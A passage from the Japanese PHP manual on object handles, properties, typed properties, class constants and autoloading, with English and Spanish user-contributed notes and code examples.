// $assignment -->|(handle1)----+
//                +---------+   |
//                              |
//                              v
//                  Object(1):foo="bar"
//
?>

$assignment has a different data slot from $objectVar, but its data slot holds a handle to the same object. This makes it behave in some ways like a reference. If you use the variable $objectVar to change the state of the Object instance, those changes also show up under $assignment, because it is pointing at that same Object instance.

<?php
$objectVar->foo = "qux";
print_r( $objectVar );
print_r( $reference );
print_r( $assignment );

//
// $objectVar --->+---------+
//                |(handle1)----+
// $reference --->+---------+   |
//                              |
//                +---------+   |
// $assignment -->|(handle1)----+
//                +---------+   |
//                              |
//                              v
//                  Object(1):foo="qux"
//
?>

But it is not exactly the same as a reference. If you null out $objectVar, you replace the handle in its data slot with NULL. This means that $reference, which points at the same data slot, will also be NULL. But $assignment, which is a different data slot, will still hold its copy of the handle to the Object instance, so it will not be NULL.

<?php
$objectVar = null;
print_r($objectVar);
print_r($reference);
print_r($assignment);

//
// $objectVar --->+---------+
//                |  NULL   |
// $reference --->+---------+
//
//                +---------+
// $assignment -->|(handle1)----+
//                +---------+   |
//                              |
//                              v
//                  Object(1):foo="qux"
?>


プロパティ

クラスのメンバ変数のことを プロパティ といいます。 それ以外に フィールド などという呼びかたを見たことがあるかもしれません。 しかし、このマニュアルでは プロパティ と呼ぶことにします。 プロパティを定義するには public、protected あるいは private のいずれかのキーワードのあとに、(PHP 7.4 以降のみ)オプションの型宣言を続け、 そして通常の変数の宣言を続けます。 宣言時に初期値を設定することもできますが、 初期値は 定数 値でなければなりません。

public、protected そして private についての詳しい情報は アクセス権 を参照ください。

注意:

PHP 4 との後方互換性を維持する目的で、 クラスのプロパティを宣言する代替の方法として、var を使う方法があります。 これは推奨されません。 var を使ってプロパティを宣言した場合、 その変数は public と同等とみなされます。

クラスのメソッドから静的でないプロパティにアクセスするには -> (オブジェクト演算子) を使って $this->property のようにします (property のところにプロパティ名を指定します)。 静的なプロパティへのアクセスには :: (ダブルコロン) を使って self::$property のようにします。 静的なプロパティとそうでないプロパティの違いについては、 static キーワード を参照ください。

クラスのメソッドがオブジェクトのコンテキストからコールされたときには、 擬似変数 $this が使えます。 $this は、呼び出し元のオブジェクトの値です。

例1 プロパティの宣言

<?php
class SimpleClass
{
   public $var1 = 'hello ' . 'world';
   public $var2 = <<<EOD
hello world
EOD;
   public $var3 = 1+2;
   // 無効なプロパティ宣言
   public $var4 = self::myStaticMethod();
   public $var5 = $myVar;

   // 有効なプロパティ宣言
   public $var6 = myConstant;
   public $var7 = [true, false];

   public $var8 = <<<'EOD'
hello world
EOD;
}
?>

注意:

クラスやオブジェクトを操作するための便利な関数が用意されています。 クラス/オブジェクト関数 を参照ください。

型宣言

PHP 7.4.0 以降は、プロパティの定義に 型宣言 を含めることができます。 但し、callable 型を除きます。

例2 型付きプロパティの例

<?php

class User
{
    public int $id;
    public ?string $name;

    public function __construct(int $id, ?string $name)
    {
        $this->id = $id;
        $this->name = $name;
    }
}

$user = new User(1234, null);

var_dump($user->id);
var_dump($user->name);

?>

上の例の出力は以下となります。

int(1234)
NULL

型付きプロパティは、アクセスする前に初期化しなければいけません。 初期化しないと、Error がスローされます。

例3 プロパティにアクセスする

<?php

class Shape
{
    public int $numberOfSides;
    public string $name;

    public function setNumberOfSides(int $numberOfSides): void
    {
        $this->numberOfSides = $numberOfSides;
    }

    public function setName(string $name): void
    {
        $this->name = $name;
    }

    public function getNumberOfSides(): int
    {
        return $this->numberOfSides;
    }

    public function getName(): string
    {
        return $this->name;
    }
}

$triangle = new Shape();
$triangle->setName("triangle");
$triangle->setNumberofSides(3);
var_dump($triangle->getName());
var_dump($triangle->getNumberOfSides());

$circle = new Shape();
$circle->setName("circle");
var_dump($circle->getName());
var_dump($circle->getNumberOfSides());
?>

上の例の出力は以下となります。

string(8) "triangle"
int(3)
string(6) "circle"

Fatal error: Uncaught Error: Typed property Shape::$numberOfSides must not be accessed before initialization

User Contributed Notes

Markus Zeller 03-Feb-2017 06:53
Accessing a property without any value initialized will give NULL.

class foo
{
  private $bar;

  public __construct()
  {
      var_dump($this->bar); // null
  }
}
anca at techliminal dot com 08-Jul-2015 11:08
You can access property names with dashes in them (for example, because you converted an XML file to an object) in the following way:

<?php
$ref = new StdClass();
$ref->{'ref-type'} = 'Journal Article';
var_dump($ref);
?>
Anonymous 16-Dec-2014 09:35
In case this saves anyone any time, I spent ages working out why the following didn't work:

class MyClass
{
    private $foo = FALSE;

    public function __construct()
    {
        $this->$foo = TRUE;

        echo($this->$foo);
    }
}

$bar = new MyClass();

giving "Fatal error: Cannot access empty property in ...test_class.php on line 8"

The subtle change of removing the $ before accesses of $foo fixes this:

class MyClass
{
    private $foo = FALSE;

    public function __construct()
    {
        $this->foo = TRUE;

        echo($this->foo);
    }
}

$bar = new MyClass();

I guess because it's treating $foo like a variable in the first example, so trying to call $this->FALSE (or something along those lines) which makes no sense. It's obvious once you've realised, but there aren't any examples of accessing on this page that show that.

[Editor's note: Removed copy of note by zzzzBov]
php at webflips dot net 08-Apr-2014 05:15
Heredoc IS valid as of PHP 5.3 and this is documented in the manual at http://php.net/manual/en/language.types.string.php#language.types.string.syntax.heredoc

Only heredocs containing variables are invalid because then it becomes dynamic.
Ashley Dambra 16-Feb-2014 10:29
Updated method objectThis() to transtypage class array properties or array to stdClass.

Hope it help you.

public function objectThis($array = null) {
    if (!$array) {
        foreach ($this as $property_name => $property_values) {
            if (is_array($property_values) && !empty($property_values)) {
                $this->{$property_name} = $this->objectThis($property_values);
            } else if (is_array($property_values) && empty($property_values)) {
                $this->{$property_name} = new stdClass();
            }
        }
    } else {
        $object = new stdClass();
        foreach ($array as $index => $values) {
            if (is_array($values) && empty($values)) {
                $object->{$index} = new stdClass();
            } else if (is_array($values)) {
                $object->{$index} = $this->objectThis($values);
            } else {
                $object->{$index} = $values;
            }
        }
        return $object;
    }
}
AshleyDambra at live dot com 16-Feb-2014 10:08
Add this method to you class in order to 'transtypage' all the array properties into stdClass();

Hope it help you.

public function objectThis($object = null) {
    if (!$object) {
        foreach ($this as $property_name => $property_values) {
            if (is_array($property_values)) {
                $this->{$property_name} = $this->objectThis($property_values);
            }
        }
    } else {
        $object2 = new stdClass();
        foreach ($object as $index => $values) {
            if (is_array($values)) {
                $object2->{$index} = $this->objectThis($values);
            } else {
                $object2->{$index} = $values;
            }
        }
        return $object2;
    }
}
Anonymous 17-Apr-2012 09:16
In case this saves anyone any time, I spent ages working out why the following didn't work:

class MyClass
{
    private $foo = FALSE;

    public function __construct()
    {
        $this->$foo = TRUE;

        echo($this->$foo);
    }
}

$bar = new MyClass();

giving "Fatal error: Cannot access empty property in ...test_class.php on line 8"

The subtle change of removing the $ before accesses of $foo fixes this:

class MyClass
{
    private $foo = FALSE;

    public function __construct()
    {
        $this->foo = TRUE;

        echo($this->foo);
    }
}

$bar = new MyClass();

I guess because it's treating $foo like a variable in the first example, so trying to call $this->FALSE (or something along those lines) which makes no sense. It's obvious once you've realised, but there aren't any examples of accessing on this page that show that.
Anonymous 11-Mar-2011 03:18
$this can be cast to array.  But when doing so, it prefixes the property names/new array keys with certain data depending on the property classification.  Public property names are not changed.  Protected properties are prefixed with a space-padded '*'.  Private properties are prefixed with the space-padded class name...

<?php

class test
{
    public $var1 = 1;
    protected $var2 = 2;
    private $var3 = 3;
    static $var4 = 4;

    public function toArray()
    {
        return (array) $this;
    }
}

$t = new test;
print_r($t->toArray());

/* outputs:

Array
(
    [var1] => 1
    [ * var2] => 2
    [ test var3] => 3
)

*/
?>

This is documented behavior when converting any object to an array (see </language.types.array.php#language.types.array.casting> PHP manual page).  All properties regardless of visibility will be shown when casting an object to array (with exceptions of a few built-in objects).

To get an array with all property names unaltered, use the 'get_object_vars($this)' function in any method within class scope to retrieve an array of all properties regardless of external visibility, or 'get_object_vars($object)' outside class scope to retrieve an array of only public properties (see: </function.get-object-vars.php> PHP manual page).
zzzzBov 04-Jun-2010 09:21
Do not confuse php's version of properties with properties in other languages (C++ for example).  In php, properties are the same as attributes, simple variables without functionality.  They should be called attributes, not properties.

Properties have implicit accessor and mutator functionality.  I've created an abstract class that allows implicit property functionality.

<?php

abstract class PropertyObject
{
  public function __get($name)
  {
    if (method_exists($this, ($method = 'get_'.$name)))
    {
      return $this->$method();
    }
    else return;
  }

  public function __isset($name)
  {
    if (method_exists($this, ($method = 'isset_'.$name)))
    {
      return $this->$method();
    }
    else return;
  }

  public function __set($name, $value)
  {
    if (method_exists($this, ($method = 'set_'.$name)))
    {
      $this->$method($value);
    }
  }

  public function __unset($name)
  {
    if (method_exists($this, ($method = 'unset_'.$name)))
    {
      $this->$method();
    }
  }
}

?>

after extending this class, you can create accessors and mutators that will be called automagically, using php's magic methods, when the corresponding property is accessed.


オブジェクト定数

値が変更できない 定数 をクラス内に定義することができます。 クラス定数のデフォルトのアクセス範囲は public です。

注意:

クラス定数は、子クラスで再定義することもできます。

インターフェイスに 定数 を持たせることもできます。 インターフェイスについてのドキュメント で例を御覧ください。

変数を用いてクラスを参照することも可能です。 変数の値に (self や parent、 static といった) キーワードを指定することはできません。

クラス定数はクラス単位で割り当てられるものです。インスタンス単位ではないことに注意しましょう。

例1 定数の定義と使用

<?php
class MyClass
{
    const CONSTANT = 'constant value';

    function showConstant() {
        echo  self::CONSTANT . "\n";
    }
}

echo MyClass::CONSTANT . "\n";

$classname = "MyClass";
echo $classname::CONSTANT . "\n";

$class = new MyClass();
$class->showConstant();

echo $class::CONSTANT."\n";
?>

特別な ::class 定数を使うと、 コンパイル時の完全修飾クラス名が解決できます。 これは名前空間クラスに役立ちます。

例2 名前空間の ::class の例

<?php
namespace foo {
    class bar {
    }

    echo bar::class; // foo\bar
}
?>

例3 クラス内での定数式の例

<?php
const ONE = 1;

class foo {
    const TWO = ONE * 2;
    const THREE = ONE + self::TWO;
    const SENTENCE = 'The value of THREE is '.self::THREE;
}
?>

例4 PHP 7.1.0 以降の、クラス定数のアクセス範囲

<?php
class Foo {
    public const BAR = 'bar';
    private const BAZ = 'baz';
}
echo Foo::BAR, PHP_EOL;
echo Foo::BAZ, PHP_EOL;
?>

上の例の PHP 7.1 での出力は、このようになります。

bar

Fatal error: Uncaught Error: Cannot access private const Foo::BAZ in ...

注意:

PHP 7.1.0 以降は、クラス定数のアクセス範囲を指定できるようになりました。

User Contributed Notes

ardv five two six at gmail dot com 01-Sep-2018 06:06
I think note "tmp dot 4 dot longoria at gmail dot com" may be some extend in this note.

<?php
abstract class dbObject
{
    const TABLE_NAME='parentConst';

    public static function GetAll()
    {
        $c = get_called_class();
        return "SELECT * FROM `".$c::TABLE_NAME."`";
    }
    public static function getChildConst()
    {
        return "SELECT * FROM `".static::TABLE_NAME."`"; // Late Static Bindings
    }
    public static function getParentConst()
    {
        return "SELECT * FROM `".self::TABLE_NAME."`";
    }
}

class dbPerson extends dbObject
{
    const TABLE_NAME='childPersonsConst';
}

class dbAdmin extends dbPerson
{
    const TABLE_NAME='childAdminsConst';
}

echo dbPerson::GetAll()."<br>";//output: "SELECT * FROM `childPersonsConst`"
echo dbAdmin::GetAll()."<br>";//output: "SELECT * FROM `childAdminsConst`"

echo dbPerson::getChildConst()."<br>";//output: "SELECT * FROM `childPersonsConst`"
echo dbAdmin::getChildConst()."<br>";//output: "SELECT * FROM `childAdminsConst`"

echo dbPerson::getParentConst()."<br>";//output: "SELECT * FROM `parentConst`"
echo dbAdmin::getParentConst()."<br>";//output: "SELECT * FROM `parentConst`"
?>
David Spector 16-Aug-2018 01:55
The usual comma-separated syntax can be used to declare several constants:

class STATE
    {
    const INIT=0, NAME_SEEN=1, ADDR_SEEN=2;
    }

This shows the declaration of a set of enumeration literals suitable for use in a finite state machine loop. Reference such an enum by using syntax such as "STATE::INIT". Its actual type in this case will be integer.
dubious 17-Feb-2018 11:29
If absolutely necessary you can set class constants to variables like this:

$temp_wfr = substr(dirname(__FILE__),0,-3); // temp site root directory
$toeval = <<<TOEVAL
class Server extends Server_Base {
    const LOCATION = "development";
    const WEBFILEROOT = "$temp_wfr";
}
TOEVAL;
eval($toeval);

While I wouldn't use this in production, it came in very handy in my development environment where my directory locations were changing with each test version of the site being developed.  Server::WEBFILEROOT was used throughout the site, so setting it automatically saved me a lot of time.
Nimja 06-Sep-2017 01:07
Note that this magic constant DOES NOT load classes. And in fact can work on classes that do not exist.

This means it does not mess with auto-loading.

<?php
    $className = \Foo\Bar::class;
    var_dump($className);
    var_dump(class_exists($className, false));
?>

Will output:

    string(7) "Foo\Bar"
    bool(false)
scohen987 at gmail dot com 18-Aug-2017 06:16
All non-class constants, declared or not, also have a magic class constant, ie:

    >>> FOO
    PHP error:  Use of undefined constant FOO - assumed 'FOO' on line 1
    >>> FOO::class
    => "FOO"
    >>> define('FOO','BAR')
    => true
    >>> FOO
    => "BAR"
    >>> FOO::class
    => "FOO"
Anonymous 17-Jul-2017 07:40
Before version 7.1.0 you couldn't write something like this:
<?php
class foo{

private const myvar = 13;
...
}
?>

and an if  with version_compare isn't also allowed how could i write the code for it so the class is compatible from 5.6 - 7.1.0?

Also I don't understand which are the advantages of modifying the class scope of a constant because constant couldn't be change at runtime.

Maybe someone could clarify this
jimmmy dot chief at gmail dot com 25-Oct-2016 02:57
Hi, i would like to point out difference between self::CONST and $this::CONST with extended class.
Let us have class a:

<?php
class a {
    const CONST_INT = 10;

    public function getSelf(){
        return self::CONST_INT;
    }

    public function getThis(){
        return $this::CONST_INT;
    }
}
?>

And class b (which extends a)

<?php
class b extends a {
    const CONST_INT = 20;

    public function getSelf(){
        return parent::getSelf();
    }

    public function getThis(){
        return parent::getThis();
    }
}
?>

Both classes have same named constant CONST_INT.
When child call method in parent class, there is different output between self and $this usage.

<?php
$b = new b();

print_r($b->getSelf());     //10
print_r($b->getThis());     //20

?>
nepomuk at nepda dot de 15-Mar-2016 08:50
[Editor's note: that is already possible as of PHP 5.6.0.]

Note, as of PHP7 it is possible to define class constants with an array.

<?php
class MyClass
{
    const ABC = array('A', 'B', 'C');
    const A = '1';
    const B = '2';
    const C = '3';
    const NUMBERS = array(
        self::A,
        self::B,
        self::C,
    );
}
var_dump(MyClass::ABC);
var_dump(MyClass::NUMBERS);

// Result:
/*
array(3) {
    [0]=>
  string(1) "A"
    [1]=>
  string(1) "B"
    [2]=>
  string(1) "C"
}
array(3) {
    [0]=>
  string(1) "1"
    [1]=>
  string(1) "2"
    [2]=>
  string(1) "3"
}
*/
?>
info at stanzentech dot com 09-Jun-2015 08:43
<?php
//http://php.net/manual/en/language.oop5.constants.php
/**
 * Constant name shouldn't start with $
 * Constant name may lower or uppercases.
 * Same constant name can be used as a property name but must start with $ symbol.
 * Constant doesn't available with $this-> inside class definition.
 * Constant is available with self:: inside class definition.
 * Constant can't call with $this-> outside class.
 * Constant is accessible with :: after "Class Name or Object".
 *
 */
class MyClass
{
    // Parse error: syntax error, unexpected '$CONSTANT' (T_VARIABLE), expecting identifier (T_STRING) in constant.php
    //const $CONSTANT      =   'constant named "CONSTANT" ';

    const CONSTANT      =   'constant named "CONSTANT" ';
    const small         =   'constant named "small" ';

    public $small        =   'SAME CONTSNAT NAME AS PROPERTIES.';

    //Fatal error: Cannot redefine class constant MyClass::small in constant.php
    // const small         =   'constant named "small" ';

    function showConstant() {
        echo  self::CONSTANT . "<br>";
        //echo $this->CONSTANT . "<br>"; // Notice: Undefined property: MyClass::$CONSTANT in constant.php
    }
}

$class      =   new MyClass();
$class->showConstant();

//Notice: Undefined property: MyClass::$CONSTANT in constant.php
//echo $class->CONSTANT."<br>";

echo $class->small."<br>";  // SAME CONTSNAT NAME AS PROPERTIES.
?>
Paul 12-May-2015 10:44
Square or curly bracket syntax can normally be used to access a single byte (character) within a string. For example: $mystring[5]. However, please note that (for some reason) this syntax is not accepted for string class constants (at least, not in PHP 5.5.12).
For example, the following code gives "PHP Parse error:  syntax error, unexpected '[' in php shell code on line 6".
<?php
class SomeClass
{
  const SOME_STRING = '0123456790';
  public static function ATest()
  {
    return self::SOME_STRING[0];
  }
}
?>
It looks like you have to use a variable/class member instead.
kuzawinski dot marcin at gmail dot com 11-Nov-2014 01:27
As of PHP 5.6 you can finally define constant using math expressions, like this one:

<?php

class MyTimer {
    const SEC_PER_DAY = 60 * 60 * 24;
}

?>

Me happy :)
enrico_kaelert at kabelmail dot com 01-May-2014 07:05
additional to tmp dot 4 dot longoria at gmail dot com ´s post:
quote:
it's possible to declare constant in base class, and override it in child,
/quote

Its not that we overwrite them.
Its more that each got its own:
<?php
abstract class dbObject
{
    const TABLE_NAME='undefined';
}

class dbPerson extends dbObject
{
    const TABLE_NAME='persons';

    public static function getSelf()
    {
        return self::TABLE_NAME;
    }
    public static function getParent()
    {
        return parent::TABLE_NAME;
    }
}

class dbAdmin extends dbPerson
{
    const TABLE_NAME='admins';

    public static function getSelf()
    {
        return self::TABLE_NAME;
    }
    public static function getParent()
    {
        return parent::TABLE_NAME;
    }
}

echo '<pre>
im class dbPerson{} and this is my:
    self TABLE_NAME:    '.dbPerson::getSelf().'   // persons
    parent TABLE_NAME: '.dbPerson::getParent().'  // undefined

im class dbAdmin{} and this is my:
    self TABLE_NAME:   '.dbAdmin::getSelf().'    // admins
    parent TABLE_NAME: '.dbAdmin::getParent().'  // persons
';
?>

or more readable:
<?php
class ParentClass
{
    const CONSTANT = 'CONST_PARENT';
}

class A extends ParentClass
{
    const CONSTANT = 'CONST_A';

    public static function getSelf()
    {
        return self::CONSTANT;
    }
    public static function getParent()
    {
        return parent::CONSTANT;
    }
}

echo '<pre>
im class A{} and this is my:
    self CONSTANT:    '.A::getSelf().'   // CONST_A
    parent CONSTANT: '.A::getParent().'  // CONST_PARENT
';
?>
Xiong Chiamiov 10-Mar-2014 11:36
const can also be used directly in namespaces, a feature never explicitly stated in the documentation.

<?php
# foo.php
namespace Foo;

const BAR = 1;
?>

<?php
# bar.php
require 'foo.php';

var_dump(Foo\BAR); // => int(1)
?>
delete dot this dot and dot dots dot gt at kani dot hu 16-Jan-2014 11:05
I think it's useful if we draw some attention to late static binding here:
<?php
class A {
    const MY_CONST = false;
    public function my_const_self() {
        return self::MY_CONST;
    }
    public function my_const_static() {
        return static::MY_CONST;
    }
}

class B extends A {
   const MY_CONST = true;
}

$b = new B();
echo $b->my_const_self ? 'yes' : 'no'; // output: no
echo $b->my_const_static ? 'yes' : 'no'; // output: yes
?>
keenskelly at gmail dot com 13-Dec-2013 08:42
Re: "The value must be a constant expression, not (for example) a variable, a property, a result of a mathematical operation, or a function call."

I dare say that "a mathematical operation" can indeed be a constant expression. I was quite surprised by this limitation; you cannot, for example do something like:

const LIMITMB = 20;
const LIMITB = LIMITMB * 1024 * 1024;

It is very common to be able to express something like that in other languages, like C with #defines, where changing one definition has a cascading effect on others without having to pre-calculate hard-coded numbers all over the place. So beware, you might be better off using a private static or global contstant definition if you need to do anything more sophisticated than a name=primitive value pair.
Anonymous 29-Oct-2013 11:38
Noted by another is that class constants take up memory for every instance. I cannot see this functionality being accurate, so testing thusly:

class SomeClass {
 const thing = 0;
 const thing2 = 1;
}

$m0 = memory_get_usage();
$p0 = new SomeClass();
$p1 = new SomeClass();
$p2 = new SomeClass();
$m1 = memory_get_usage();
printf("memory %d<br />", $m1 - $m0);

The output does not change when one alters the count of constants in "SomeClass".
jaimz at vertigolabs dot org 28-Oct-2013 06:01
I thought it would be relevant to point out that with php 5.5, you can not use self::class, static::class, or parent::class to produce a FQN. Doing so produces a PHP Parse error:

"PHP Parse error:  syntax error, unexpected 'class' (T_CLASS), expecting variable (T_VARIABLE) or '$'"

It would be nice if you could do this however.
tmp dot 4 dot longoria at gmail dot com 04-Jun-2011 01:52
it's possible to declare constant in base class, and override it in child, and access to correct value of the const from the static method is possible by 'get_called_class' method:
<?php
abstract class dbObject
{
    const TABLE_NAME='undefined';

    public static function GetAll()
    {
        $c = get_called_class();
        return "SELECT * FROM `".$c::TABLE_NAME."`";
    }
}

class dbPerson extends dbObject
{
    const TABLE_NAME='persons';
}

class dbAdmin extends dbPerson
{
    const TABLE_NAME='admins';
}

echo dbPerson::GetAll()."<br>";//output: "SELECT * FROM `persons`"
echo dbAdmin::GetAll()."<br>";//output: "SELECT * FROM `admins`"

?>
jakub dot lopuszanski at nasza-klasa dot pl 14-Nov-2010 11:20
[Editor's note: that behavior has changed as of PHP 7.0.0, though.]

Suprisingly consts are lazy bound even though you use self instead of static:
<?php
class A{
  const X=1;
  const Y=self::X;
}
class B extends A{
  const X=1.0;
}
var_dump(B::Y); // float(1.0)
?>
anonymous 27-Sep-2010 06:32
Most people miss the point in declaring constants and confuse then things by trying to declare things like functions or arrays as constants. What happens next is to try things that are more complicated then necessary and sometimes lead to bad coding practices. Let me explain...

A constant is a name for a value (but it's NOT a variable), that usually will be replaced in the code while it gets COMPILED and NOT at runtime.

So returned values from functions can't be used, because they will return a value only at runtime.

Arrays can't be used, because they are data structures that exist at runtime.

One main purpose of declaring a constant is usually using a value in your code, that you can replace easily in one place without looking for all the occurences. Another is, to avoid mistakes.

Think about some examples written by some before me:

1. const MY_ARR = "return array(\"A\", \"B\", \"C\", \"D\");";
It was said, this would declare an array that can be used with eval. WRONG! This is just a string as constant, NOT an array. Does it make sense if it would be possible to declare an array as constant? Probably not. Instead declare the values of the array as constants and make an array variable.

2. const magic_quotes = (bool)get_magic_quotes_gpc();
This can't work, of course. And it doesn't make sense either. The function already returns the value, there is no purpose in declaring a constant for the same thing.

3. Someone spoke about "dynamic" assignments to constants. What? There are no dynamic assignments to constants, runtime assignments work _only_ with variables. Let's take the proposed example:

<?php
/**
 * Constants that deal only with the database
 */
class DbConstant extends aClassConstant {
    protected $host = 'localhost';
    protected $user = 'user';
    protected $password = 'pass';
    protected $database = 'db';
    protected $time;
    function __construct() {
        $this->time = time() + 1; // dynamic assignment
    }
}
?>

Those aren't constants, those are properties of the class. Something like "this->time = time()" would even totally defy the purpose of a constant. Constants are supposed to be just that, constant values, on every execution. They are not supposed to change every time a script runs or a class is instantiated.

Conclusion: Don't try to reinvent constants as variables. If constants don't work, just use variables. Then you don't need to reinvent methods to achieve things for what is already there.
wbcarts at juno dot com 12-Sep-2008 12:12
Use CONST to set UPPER and LOWER LIMITS

If you have code that accepts user input or you just need to make sure input is acceptable, you can use constants to set upper and lower limits. Note: a static function that enforces your limits is highly recommended... sniff the clamp() function below for a taste.

<?php

class Dimension
{
  const MIN = 0, MAX = 800;

  public $width, $height;

  public function __construct($w = 0, $h = 0){
    $this->width  = self::clamp($w);
    $this->height = self::clamp($h);
  }

  public function __toString(){
    return "Dimension [width=$this->width, height=$this->height]";
  }

  protected static function clamp($value){
    if($value < self::MIN) $value = self::MIN;
    if($value > self::MAX) $value = self::MAX;
    return $value;
  }
}

echo (new Dimension()) . '<br>';
echo (new Dimension(1500, 97)) . '<br>';
echo (new Dimension(14, -20)) . '<br>';
echo (new Dimension(240, 80)) . '<br>';

?>

- - - - - - - -
 Dimension [width=0, height=0] - default size
 Dimension [width=800, height=97] - width has been clamped to MAX
 Dimension [width=14, height=0] - height has been clamped to MIN
 Dimension [width=240, height=80] - width and height unchanged
- - - - - - - -

Setting upper and lower limits on your classes also help your objects make sense. For example, it is not possible for the width or height of a Dimension to be negative. It is up to you to keep phoney input from corrupting your objects, and to avoid potential errors and exceptions in other parts of your code.


クラスのオートローディング

オブジェクト指向アプリケーションを作成する開発者の多くは、 クラス定義毎に一つのPHPソースファイルを作成します。 最大の問題は、各スクリプトの先頭に、必要な読み込みを行う長いリストを 記述する必要があることです(各クラスについて一つ)。

spl_autoload_register() 関数を使うと、 任意の数のオートローダーを登録でき、 クラスやインターフェイスが定義されていなくても自動的に読み込めるようになります。 オートローダーを登録すれば、PHPがエラーで止まる前にクラスをロードする最後の チャンスが与えられます。

警告

PHP 8.0.0 より前のバージョンでは、 __autoload() 関数でもクラスやインターフェイスのオートロードが可能でした。 しかし、この関数は spl_autoload_register() 関数に比べると柔軟性という点で劣っています。 そのため、__autoload() 関数は PHP 7.2.0 で推奨されなくなり、 PHP 8.0.0 で削除されました。

例1 オートロードの例

この例は、 クラス MyClass1 および MyClass2 をそれぞれ MyClass1.php および MyClass2.php からロードします。

<?php
spl_autoload_register(function ($class_name) {
    include $class_name . '.php';
});

$obj  = new MyClass1();
$obj2 = new MyClass2();
?>

例2 オートロードの別の例

この例は、インターフェイス ITest をロードしようとします。

<?php

spl_autoload_register(function ($name) {
    var_dump($name);
});

class Foo implements ITest {
}

/*
string(5) "ITest"

Fatal error: Interface 'ITest' not found in ...
*/
?>

例3 例外処理つきのオートロード

この例は、例外をスローして try/catch ブロックの動きを示します。

<?php
spl_autoload_register(function ($name) {
    echo "Want to load $name.\n";
    throw new Exception("Unable to load $name.");
});

try {
    $obj = new NonLoadableClass();
} catch (Exception $e) {
    echo $e->getMessage(), "\n";
}
?>

上の例の出力は以下となります。

Want to load NonLoadableClass.
Unable to load NonLoadableClass.

例4 例外処理つきのオートロード - 独自の例外が見つからない場合

この例では、ロードできない独自の例外クラスをスローします。

<?php
spl_autoload_register(function ($name) {
    echo "Want to load $name.\n";
    throw new MissingException("Unable to load $name.");
});

try {
    $obj = new NonLoadableClass();
} catch (Exception $e) {
    echo $e->getMessage(), "\n";
}
?>

上の例の出力は以下となります。

Want to load NonLoadableClass.
Want to load MissingException.

Fatal error: Class 'MissingException' not found in testMissingException.php on line 4

参考

  • unserialize()
  • unserialize_callback_func
  • spl_autoload_register()
  • spl_autoload()
  • __autoload()

User Contributed Notes

instatiendaweb at gmail dot com 26-Feb-2021 06:19
spl_autoload_register('autoloadficheros');
    function autoloadficheros ($nombre_clase) {
    global $nombre_clase2;
    static $x = 1;
//Como usar el espacio de nombre
    $nombre_clase4 = dirname($nombre_clase);
    if ($nombre_clase4 == 'eee'){
        $nombre_clase3 = basename($nombre_clase);
        $carpetanamespace = '\\eee\\';
        $nombre_clase2[0] = 'Extensiones soportadas' . spl_autoload_extensions('.php');
        $nombre_clase2[1] =  spl_autoload_functions();
        $nombre_clase2[] = "Medir ejecuciones " . $x++;
        $nombre_clase2[] = 'Nombre de clase anadida ==> ' . $nombre_clase3;
        $nombre_clase2[] = 'Directorio ==> ' . __DIR__ . $carpetanamespace .$nombre_clase3 . '.php';
        require __DIR__ . $carpetanamespace .  $nombre_clase3 . '.php';
        return;
    }
//Si no hay espacio de nombres la funcion normal
    $nombre_clase2[0] = 'Extensiones soportadas' . spl_autoload_extensions('.php');
    $nombre_clase2[1] =  spl_autoload_functions();
    $nombre_clase2[] = "Medir ejecuciones " . $x++;
    $nombre_clase2[] = 'Nombre de clase anadida ==> ' . $nombre_clase;
    $nombre_clase2[] = 'Directorio ==> ' . __DIR__ . '\\' .$nombre_clase . '.php';
    require __DIR__ . '\\' . $nombre_clase . '.php';
}/*Fin funcion autoload */
toi]n[enkayt[attaat]gmaal.com 27-Feb-2020 03:36
Autoloading plain functions is not supported by PHP at the time of writing. There is however a simple way to trick the autoloader to do this. The only thing that is needed is that the autoloader finds the searched class (or any other autoloadable piece of code) from the files it goes through and the whole file will be included to the runtime.

Let's say you have a namespaced file for functions you wish to autoload. Simply adding a class of the same name to that file with a single constant property is enough to trigger the autoloader to seek for the file. Autoloading can then be triggered by accessing the constant property.

The constant could be replaced by any static property or method or by default constructor. However, I personally find a constant named 'load' elegant and informative. After all this is a workaround. Another thing to keep in mind is that this introduces an unnecessary class to the runtime. The benefit of this is that there is no need to manually include or require files containing functions by path which in turn makes code maintaining easier. Such behaviour makes it easier to alter the project structure since manual includes need not to be fixed. Only the autoloader needs to be able to locate the moved files which can be automated.

A code file containing functions.
/Some/Namespace/Functions.php
<?php
namespace Some\Namespace;

class Functions { const load = 1; }

function a () {
}

function b () {
}
?>

Triggering autoloading of the file containing functions.
main.php
<?php
\Some\Namespace\Functions::load;

a ();
b ();
?>
str at maphpia dot com 01-Dec-2016 07:36
This is my autoloader for my PSR-4 clases. I prefer to use composer's autoloader, but this works for legacy projects that can't use composer.

<?php
/**
 * Simple autoloader, so we don't need Composer just for this.
 */
class Autoloader
{
    public static function register()
    {
        spl_autoload_register(function ($class) {
            $file = str_replace('\\', DIRECTORY_SEPARATOR, $class).'.php';
            if (file_exists($file)) {
                require $file;
                return true;
            }
            return false;
        });
    }
}
Autoloader::register();
oliver dot strevel at gmail dot com 14-Jul-2014 12:50
My autoloader function:

<?php

/**
 * Funcion de autocarga de clases para php
 * Se realiza la busqueda directamente sobre la raiz de la carpeta lib con el prefijo '.class.php'
 */
function __autoload( $class_name )
{
    $invalidChars = array(
        '.', '\\', '/', ':', '*', '?', '"', '<', '>', "'", '|'
    );

    $class_name = str_replace($invalidChars, '', $class_name);

    $extension_prefix = '.class.php';

    if( !@include_once $class_name . $extension_prefix )
    {
        $path = 'lib'; // In this dir the function will search

        foreach( new DirectoryIterator($path) as $file )
        {
            if($file->isDot()) { continue; }

            if($file->isDir())
            {
                $file = $path . DIRECTORY_SEPARATOR . $file->getFilename() . DIRECTORY_SEPARATOR . $class_name . $extension_prefix;

                if(file_exists($file)) {
                    include_once $file;
                }
            }
        }
    }
    if (!class_exists($class_name, false) || !interface_exists($class_name, false)) {
        // return || Some tracking error task..
    }
}
?>
norwood at computer dot org 11-Jan-2014 04:12
Autoloaders & Namespaces: The effective namespace of an autoloaded file must match that of its original reference; just  finding and loading the file isn't enough. (I know, seems obvious now, but...)

My namespaces may serve as hints to locations within the file system, and I tried to be cute:
     If a class (file) wasn't found where it was expected, my autoloader also looked in an alternate location. This worked fine, except that the alternate's own qualified namespace was thus slightly different (reflecting where *it* lived). So although the desired class was ultimately loaded (name and all), the original caller's reference remained unsatisfied because of the namespace discrepancy (as it should, really), but it was subtle.

Of course, this scheme works fine within the same namespace (explicit or not).

And kudos to the autoload devs for anticipating what could have been an endless autoload loop.
pier4r 31-Dec-2013 02:46
